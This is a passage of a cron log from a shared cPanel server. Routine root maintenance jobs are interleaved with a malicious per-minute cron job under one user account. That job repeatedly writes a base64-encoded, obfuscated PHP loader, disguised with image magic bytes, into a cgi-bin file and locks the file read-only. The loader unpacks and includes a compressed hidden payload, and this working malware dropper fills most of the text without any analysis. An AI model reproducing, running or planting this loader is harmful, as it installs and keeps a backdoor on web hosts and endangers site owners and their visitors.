bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:17:01 server CROND[27410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:17:01 server CROND[27411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:17:01 server CROND[27412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:18:01 server CROND[27792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:18:01 server CROND[27791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:18:01 server CROND[27793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:19:01 server CROND[28166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:19:01 server CROND[28168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:19:01 server CROND[28167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:20:01 server CROND[28615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:20:01 server CROND[28619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:20:01 server CROND[28621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:20:01 server CROND[28624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:20:01 server CROND[28623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:20:01 server CROND[28617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:20:01 server CROND[28618]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:20:01 server CROND[28622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:20:01 server CROND[28620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:21:01 server CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:21:01 server CROND[29545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:21:01 server CROND[29546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:22:01 server CROND[30007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:22:01 server CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:22:01 server CROND[30008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:23:01 server CROND[30411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:23:01 server CROND[30413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:23:01 server CROND[30412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:24:01 server CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:24:01 server CROND[30816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:24:01 server CROND[30815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:25:01 server CROND[31213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:25:01 server CROND[31215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:25:01 server CROND[31220]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:25:01 server CROND[31217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:25:01 server CROND[31221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:25:01 server CROND[31218]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 12:25:01 server CROND[31219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:25:01 server CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:26:01 server CROND[32118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:26:01 server CROND[32119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:26:01 server CROND[32120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:27:01 server CROND[32612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:27:01 server CROND[32613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:27:01 server CROND[32614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:27:01 server CROND[32615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:28:01 server CROND[625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:28:01 server CROND[626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
